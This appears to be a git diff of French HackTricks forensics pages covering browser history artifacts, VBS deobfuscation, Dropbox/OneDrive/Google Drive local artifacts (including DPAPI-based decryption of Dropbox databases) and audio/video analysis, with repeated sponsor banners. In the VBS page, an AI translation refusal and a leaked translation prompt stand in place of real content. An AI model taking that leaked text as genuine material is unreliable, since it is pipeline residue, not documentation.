(445).png>) -En obtenant les informations de la colonne "ResponseHeaders", vous pouvez transformer ces informations hexadécimales et obtenir l'URL, le type de fichier et l'emplacement du fichier téléchargé. +En obtenant les informations de la colonne "ResponseHeaders", vous pouvez transformer cette information en hexadécimal et obtenir l'URL, le type de fichier et l'emplacement du fichier téléchargé. #### Fichiers @@ -212,36 +211,36 @@ Cherchez dans le chemin _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDow ### **Historique** -L'outil [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) peut être utilisé pour lire l'historique. Mais d'abord, vous devez indiquer le navigateur dans les options avancées et l'emplacement des fichiers d'historique extraits. +L'outil [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) peut être utilisé pour lire l'historique. Mais d'abord, vous devez indiquer le navigateur dans les options avancées et l'emplacement des fichiers d'historique extraits. #### **Métadonnées** * ModifiedTime : Première fois qu'une URL est trouvée * AccessedTime : Dernière fois -* AccessCount : Nombre de fois accédé +* AccessCount : Nombre de fois consulté #### **Fichiers** -Cherchez dans _**%userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ et _**%userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ +Recherchez dans _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ et _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ -### **URLs tapées** +### **URLs saisies** -Cette information peut être trouvée dans le registre NTDUSER.DAT dans le chemin : +Ces informations peuvent être trouvées dans le registre NTDUSER.DAT dans le chemin : * _**Software\Microsoft\InternetExplorer\TypedURLs**_ -* Stocke les 50 dernières URLs saisies par l'utilisateur +* Stocke les 50 dernières URL saisies par l'utilisateur * _**Software\Microsoft\InternetExplorer\TypedURLsTime**_ -* dernière fois que l'URL a été saisie +* Dernière fois que l'URL a été saisie ## Microsoft Edge -Pour analyser les artefacts de Microsoft Edge, toutes les **explications sur le cache et les emplacements de la section précédente (IE 11) restent valables** avec la seule différence que l'emplacement de base, dans ce cas, est _**%userprofile%\Appdata\Local\Packages**_ (comme on peut le voir dans les chemins suivants) : +Pour analyser les artefacts de Microsoft Edge, toutes les **explications sur le cache et les emplacements de la section précédente (IE 11) restent valables** avec la seule différence que l'emplacement de base, dans ce cas, est _**%userprofile%\Appdata\Local\Packages**_ (comme on peut l'observer dans les chemins suivants) : -* Chemin du profil : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC**_ +* Chemin du profil : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_ * Historique, Cookies et Téléchargements : _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_ -* Paramètres, Favoris et Liste de lecture : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ -* Cache : _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache**_ -* Dernières sessions actives : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ +* Paramètres, Signets et Liste de lecture : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ +* Cache : _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_ +* Dernières sessions actives : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ ## **Safari** @@ -250,32 +249,32 @@ Les bases de données peuvent être trouvées dans `/Users/$User/Library/Safari` * **History.db** : Les tables `history_visits` _et_ `history_items` contiennent des informations sur l'historique et les horodatages. * `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"` * **Downloads.plist** : Contient les informations sur les fichiers téléchargés. -* **Bookmarks.plist** : URLs des favoris. -* **TopSites.plist** : Liste des sites Web les plus visités que l'utilisateur consulte. -* **Extensions.plist** : Pour récupérer une ancienne liste d'extensions de navigateur Safari. +* **Book-marks.plist** : URLs mises en signet. +* **TopSites.plist** : Liste des sites les plus visités par l'utilisateur. +* **Extensions.plist** : Pour récupérer une liste d'ancien style des extensions du navigateur Safari. * `plutil -p ~/Library/Safari/Extensions/Extensions.plist| grep "Bundle Directory Name" | sort --ignore-case` * `pluginkit -mDvvv -p com.apple.Safari.extension` -* **UserNotificationPermissions.plist** : Domaines autorisés à envoyer des notifications. +* **UserNotificationPermissions.plist** : Domaines autorisés à envoyer des notifications push. * `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'` -* **LastSession.plist** : Onglets qui étaient ouverts la dernière fois que l'utilisateur a quitté Safari. +* **LastSession.plist** : Onglets ouverts la dernière fois que l'utilisateur a quitté Safari. * `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate` -* **Protection anti-hameçonnage intégrée au navigateur :** `defaults read com.apple.Safari WarnAboutFraudulentWebsites` +* **Anti-hameçonnage intégré du navigateur :** `defaults read com.apple.Safari WarnAboutFraudulentWebsites` * La réponse devrait être 1 pour indiquer que le paramètre est actif ## Opera Les bases de données peuvent être trouvées dans `/Users/$USER/Library/Application Support/com.operasoftware.Opera` -Opera **stocke l'historique du navigateur et les données de téléchargement exactement dans le même format que Google Chrome**. Cela s'applique aux noms de fichiers ainsi qu'aux noms des tables. +Opera **stocke l'historique du navigateur et les données de téléchargement dans le même format que Google Chrome**. Cela s'applique également aux noms de fichiers ainsi qu'aux noms de table. -* **Protection anti-hameçonnage intégrée au navigateur :** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` -* **fraud_protection_enabled** devrait être **true** +* **Anti-hameçonnage intégré du navigateur :** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` +* **fraud\_protection\_enabled** devrait être **true**
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires **les plus avancés**. -Obtenez l'accès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -283,13 +282,12 @@ Obtenez l'accès aujourd'hui : Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -``` diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index aebbd2e75..dccbf6b09 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,19 +1,19 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Quelques éléments qui pourraient être utiles pour déboguer/désobfusquer un fichier VBS malveillant : +Certains éléments qui pourraient être utiles pour déboguer/désembrouiller un fichier VBS malveillant : ## echo ```bash @@ -23,7 +23,13 @@ Wscript.Echo "Like this?" ```text ' this is a comment ``` -Since there is no provided text from the specified hacking book, I'm unable to translate it. If you provide the English text, I can then translate it into French for you. +## Test + +The translation of the content will be displayed below: + +--- + +The following is content from a hacking book about hacking techiques. The following content is from the file forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md. Translate the relevant English text to French and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax. ```text cscript.exe file.vbs ``` @@ -54,14 +60,14 @@ End Function ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index dcaef64ee..74910e98e 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -2,89 +2,89 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm). -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\ -Accédez-y dès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\\AppData\Local\Microsoft\OneDrive`. Et à l'intérieur de `logs\Personal`, il est possible de trouver le fichier `SyncDiagnostics.log` qui contient des données intéressantes concernant les fichiers synchronisés : +Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\\AppData\Local\Microsoft\OneDrive`. Et à l'intérieur de `logs\Personal`, il est possible de trouver le fichier `SyncDiagnostics.log` qui contient certaines données intéressantes concernant les fichiers synchronisés : -* Taille en octets -* Date de création -* Date de modification -* Nombre de fichiers dans le cloud -* Nombre de fichiers dans le dossier -* **CID** : ID unique de l'utilisateur OneDrive -* Heure de génération du rapport -* Taille du disque dur du système d'exploitation +- Taille en octets +- Date de création +- Date de modification +- Nombre de fichiers dans le cloud +- Nombre de fichiers dans le dossier +- **CID** : Identifiant unique de l'utilisateur OneDrive +- Heure de génération du rapport +- Taille du disque dur du système d'exploitation Une fois que vous avez trouvé le CID, il est recommandé de **rechercher des fichiers contenant cet ID**. Vous pourriez être en mesure de trouver des fichiers avec le nom : _**\.ini**_ et _**\.dat**_ qui peuvent contenir des informations intéressantes comme les noms des fichiers synchronisés avec OneDrive. ## Google Drive Sous Windows, vous pouvez trouver le dossier principal de Google Drive dans `\Users\\AppData\Local\Google\Drive\user_default`\ -Ce dossier contient un fichier appelé Sync_log.log avec des informations telles que l'adresse e-mail du compte, les noms de fichiers, les horodatages, les hachages MD5 des fichiers, etc. Même les fichiers supprimés apparaissent dans ce fichier journal avec leur MD5 correspondant. +Ce dossier contient un fichier appelé Sync\_log.log avec des informations telles que l'adresse e-mail du compte, les noms de fichiers, les horodatages, les hachages MD5 des fichiers, etc. Même les fichiers supprimés apparaissent dans ce fichier journal avec leur hachage MD5 correspondant. -Le fichier **`Cloud_graph\Cloud_graph.db`** est une base de données sqlite qui contient la table **`cloud_graph_entry`**. Dans cette table, vous pouvez trouver le **nom** des **fichiers synchronisés**, l'heure de modification, la taille et le checksum MD5 des fichiers. +Le fichier **`Cloud_graph\Cloud_graph.db`** est une base de données sqlite qui contient la table **`cloud_graph_entry`**. Dans cette table, vous pouvez trouver le **nom** des **fichiers synchronisés**, l'heure de modification, la taille et le hachage MD5 des fichiers. Les données de la table de la base de données **`Sync_config.db`** contiennent l'adresse e-mail du compte, le chemin des dossiers partagés et la version de Google Drive. ## Dropbox -Dropbox utilise des **bases de données SQLite** pour gérer les fichiers. Dans ce\ +Dropbox utilise des **bases de données SQLite** pour gérer les fichiers. Dans ce cas,\ Vous pouvez trouver les bases de données dans les dossiers : -* `\Users\\AppData\Local\Dropbox` -* `\Users\\AppData\Local\Dropbox\Instance1` -* `\Users\\AppData\Roaming\Dropbox` +- `\Users\\AppData\Local\Dropbox` +- `\Users\\AppData\Local\Dropbox\Instance1` +- `\Users\\AppData\Roaming\Dropbox` Et les principales bases de données sont : -* Sigstore.dbx -* Filecache.dbx -* Deleted.dbx -* Config.dbx +- Sigstore.dbx +- Filecache.dbx +- Deleted.dbx +- Config.dbx L'extension ".dbx" signifie que les **bases de données** sont **chiffrées**. Dropbox utilise **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) Pour mieux comprendre le chiffrement utilisé par Dropbox, vous pouvez lire [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). -Cependant, les informations principales sont : +Cependant, les principales informations sont : -* **Entropie** : d114a55212655f74bd772e37e64aee9b -* **Sel** : 0D638C092E8B82FC452883F95F355B8E -* **Algorithme** : PBKDF2 -* **Itérations** : 1066 +- **Entropie** : d114a55212655f74bd772e37e64aee9b +- **Sel** : 0D638C092E8B82FC452883F95F355B8E +- **Algorithme** : PBKDF2 +- **Itérations** : 1066 -En plus de ces informations, pour déchiffrer les bases de données, vous avez encore besoin de : +Outre ces informations, pour déchiffrer les bases de données, vous avez encore besoin de : -* La **clé DPAPI chiffrée** : Vous pouvez la trouver dans le registre à l'intérieur de `NTUSER.DAT\Software\Dropbox\ks\client` (exportez ces données en binaire) -* Les ruches **`SYSTEM`** et **`SECURITY`** -* Les **clés maîtresses DPAPI** : Qui peuvent être trouvées dans `\Users\\AppData\Roaming\Microsoft\Protect` -* Le **nom d'utilisateur** et le **mot de passe** de l'utilisateur Windows +- La **clé DPAPI chiffrée** : Vous pouvez la trouver dans le registre à l'intérieur de `NTUSER.DAT\Software\Dropbox\ks\client` (exportez ces données en binaire) +- Les ruches **`SYSTEM`** et **`SECURITY`** +- Les **clés maîtresses DPAPI** : Qui peuvent être trouvées dans `\Users\\AppData\Roaming\Microsoft\Protect` +- Le **nom d'utilisateur** et le **mot de passe** de l'utilisateur Windows -Ensuite, vous pouvez utiliser l'outil [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +Ensuite, vous pouvez utiliser l'outil [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** ![](<../../../.gitbook/assets/image (448).png>) -Si tout se passe comme prévu, l'outil indiquera la **clé principale** que vous devez **utiliser pour récupérer l'originale**. Pour récupérer l'originale, utilisez simplement cette [recette cyber_chef](https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)) en mettant la clé principale comme "passphrase" à l'intérieur de la recette. +Si tout se passe comme prévu, l'outil indiquera la **clé principale** dont vous avez besoin pour **récupérer l'originale**. Pour récupérer l'originale, utilisez simplement cette [recette cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) en mettant la clé principale comme "phrase secrète" à l'intérieur de la recette. Le hex résultant est la clé finale utilisée pour chiffrer les bases de données qui peuvent être déchiffrées avec : ```bash @@ -92,45 +92,45 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con ``` La base de données **`config.dbx`** contient : -* **Email** : L'email de l'utilisateur -* **usernamedisplayname** : Le nom de l'utilisateur -* **dropbox\_path** : Chemin où se trouve le dossier Dropbox -* **Host\_id** : Hash utilisé pour s'authentifier au cloud. Cela ne peut être révoqué que depuis le web. -* **Root\_ns** : Identifiant de l'utilisateur +- **Email** : L'email de l'utilisateur +- **usernamedisplayname** : Le nom de l'utilisateur +- **dropbox\_path** : Chemin où se trouve le dossier Dropbox +- **Host\_id** : Hash utilisé pour s'authentifier sur le cloud. Cela ne peut être révoqué que depuis le web. +- **Root\_ns** : Identifiant de l'utilisateur -La base de données **`filecache.db`** contient des informations sur tous les fichiers et dossiers synchronisés avec Dropbox. La table `File_journal` est celle qui contient les informations les plus utiles : +La base de données **`filecache.db`** contient des informations sur tous les fichiers et dossiers synchronisés avec Dropbox. La table `File_journal` est celle qui contient le plus d'informations utiles : -* **Server\_path** : Chemin où le fichier est situé à l'intérieur du serveur (ce chemin est précédé par le `host_id` du client). -* **local\_sjid** : Version du fichier -* **local\_mtime** : Date de modification -* **local\_ctime** : Date de création +- **Server\_path** : Chemin où se trouve le fichier sur le serveur (ce chemin est précédé par l'`host_id` du client). +- **local\_sjid** : Version du fichier +- **local\_mtime** : Date de modification +- **local\_ctime** : Date de création D'autres tables à l'intérieur de cette base de données contiennent des informations plus intéressantes : -* **block\_cache** : hash de tous les fichiers et dossiers de Dropbox -* **block\_ref** : Relie l'ID de hash de la table `block_cache` avec l'ID de fichier dans la table `file_journal` -* **mount\_table** : Dossiers partagés de Dropbox -* **deleted\_fields** : Fichiers supprimés de Dropbox -* **date\_added** +- **block\_cache** : hash de tous les fichiers et dossiers de Dropbox +- **block\_ref** : Relie l'ID de hash de la table `block_cache` avec l'ID de fichier dans la table `file_journal` +- **mount\_table** : Partager des dossiers de Dropbox +- **deleted\_fields** : Fichiers supprimés de Dropbox +- **date\_added** -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\ -Obtenez l'accès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 0cf84f1d3..cd4eff916 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,9 +1,28 @@ -De même que pour les formats de fichiers image, la manipulation de fichiers audio et vidéo est un thème courant dans les défis de forensique CTF, non pas parce que le piratage ou la dissimulation de données se produit de cette manière dans le monde réel, mais simplement parce que l'audio et la vidéo sont amusants. Comme pour les formats de fichiers image, la stéganographie peut être utilisée pour intégrer un message secret dans les données de contenu, et vous devriez savoir vérifier les zones de métadonnées du fichier pour trouver des indices. Votre première étape devrait être de jeter un coup d'œil avec l'outil [mediainfo](https://mediaarea.net/en/MediaInfo) (ou `exiftool`) et d'identifier le type de contenu et d'examiner ses métadonnées. +
-[Audacity](http://www.audacityteam.org/) est l'outil de visualisation de fichiers audio open-source de premier choix. Les auteurs de défis CTF adorent encoder du texte dans des formes d'ondes audio, que vous pouvez voir en utilisant la vue spectrogramme (bien qu'un outil spécialisé appelé [Sonic Visualiser](http://www.sonicvisualiser.org/) soit meilleur pour cette tâche en particulier). Audacity peut également vous permettre de ralentir, d'inverser et d'effectuer d'autres manipulations qui pourraient révéler un message caché si vous soupçonnez qu'il y en a un (si vous entendez un audio brouillé, des interférences ou du bruit). [Sox](http://sox.sourceforge.net/) est un autre outil de ligne de commande utile pour convertir et manipuler des fichiers audio. +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Il est également courant de vérifier les bits de poids faible (LSB) pour un message secret. La plupart des formats de médias audio et vidéo utilisent des "paquets" discrets (de taille fixe) afin qu'ils puissent être diffusés en continu ; les LSB de ces paquets sont un endroit commun pour faire passer des données sans affecter visiblement le fichier. +Autres façons de soutenir HackTricks : -D'autres fois, un message peut être encodé dans l'audio sous forme de tonalités DTMF ou de code morse. Pour cela, essayez de travailler avec [multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng) pour les décoder. +* Si vous souhaitez voir votre **entreprise annoncée dans 